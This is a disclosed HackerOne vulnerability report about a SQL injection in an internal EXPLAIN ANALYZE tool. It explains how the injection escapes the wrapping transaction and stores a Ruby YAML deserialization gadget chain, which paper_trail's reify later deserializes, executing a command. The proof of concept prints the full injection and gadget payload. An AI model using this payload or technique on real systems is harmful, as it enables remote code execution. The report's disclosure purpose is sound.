HexBrain

HackerOne · Report #1663299

Ability to escape database transaction through SQL injection, leading to arbitrary code execution

Validstatus
highseverity
29upvotes
9 Aug 2022disclosed

How it was found

HackerOne has an internal backend interface that gives debugging capabilities to its engineers. One of the features is the ability to run EXPLAIN ANALYZE queries against a connected database. This feature is accessible by a handful of engineers. The feature is vulnerable to a SQL injection that allows an attacker to escape the transaction that is wrapped around the EXPLAIN ANALYZE query. This SQL injection can be leveraged to execute arbitrary ruby on an application server.

This vulnerability will be demonstrated against a local development environment.

Proof of concept

SELECT
        1
;

ROLLBACK
;

INSERT
    INTO
        user_versions (
            item_type
            ,item_id
            ,event
            ,email
            ,object
        )
    VALUES (
        'User'
        ,2
        ,'update'
        , '[email protected]'
        ,'---
username:
  - !ruby/object:Gem::Installer
      i: x
  - !ruby/object:Gem::SpecFetcher
      i: y
  - !ruby/object:Gem::Requirement
    requirements:
      !ruby/object:Gem::Package::TarReader
      io: &1 !ruby/object:Net::BufferedIO
        io: &1 !ruby/object:Gem::Package::TarReader::Entry
            read: 0
            header: "abc"
        debug_output: &1 !ruby/object:Net::WriteAdapter
            socket: &1 !ruby/object:Gem::RequestSet
                sets: !ruby/object:Net::WriteAdapter
                    socket: !ruby/module ''Kernel''
                    method_id: :system
                git_set: sleep 600
            method_id: :resolve '
    )
;

-- 

Root cause

The following Ruby code is used to execute the EXPLAIN ANALYZE query:

# ...
explain_analyze = "EXPLAIN (ANALYZE, COSTS, VERBOSE, BUFFERS, FORMAT JSON) #{raw_sql}"

begin
  conn.transaction(requires_new: true) do
    block = proc do
      analyze_result = conn.protected_attribute.with_parameters(params) do
        conn.execute explain_analyze
      end

      fail ActiveRecord::Rollback
    end

    if config[:use_protected_schema]
      ProtectedAttribute::SchemaUtility.with_requester(user) do
        block.call
      end
    else
      block.call
    end
# ...

The code is written so that it would wrap each analyze query in a transaction. This avoids permanent side effects of running the query, because EXPLAIN ANALYZE will still execute the SQL query. The interpolation of the raw_sql variable can be used to escape the current transactions and make any changes persist. The following part is used to jump out of the transaction:

SELECT
        1
;

ROLLBACK
;

Then, a payload is injected into a table called user_versions and a comment identifier (-- ) is used to block the ROLLBACK statement that is appended by the transaction block. The user_versions table keeps a paper trail of changes on User objects. For example, when someone changes their username, the application keeps a snapshot of the previous object in the user_versions table. HackerOne uses a gem called paper_trail for this. This gem comes with a useful function to reinstantiate an old version of an object, called reify. When this method is called, the YAML from the object attribute is deseriealized and is used to initialize the class stored in the item_type column. This method inherently trusts the object stored in object however. Because the attacker can persist a new version, it can control the object that would be deserialized. In the past, multiple YAML deserialization techniques have been published. For the proof of concept, I reused Stratum Security's payload from 2021.

There is only one place where the reify method is called on a UserVersion object, and it's through the historic users feature. It's using the following code:

def index
  if params[:historic_user_input].present?
    if params[:historic_user_input].include? '@'
      versions = UserVersion.where(email: params[:historic_user_input]).order(id: :asc).to_a
      current_owner = User.find_by(email: params[:historic_user_input])
    else
      # ...
    end

    # ...

    original_user = versions.first.reify

This code will pull all UserVersion objects based on the email attribute and sorts them based on the primary key ascending. Because we also can control the email attribute through the SQL injection, we need to simply persist a version with a value that is unique in the table, such as [email protected]. When the page is loaded with that as the value for the historic_user_input, it will only return our injected object and reinstantiate it, leading to the execution of arbitrary ruby code or, in this case, a command.

Impact

Execution of arbitrary ruby code.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original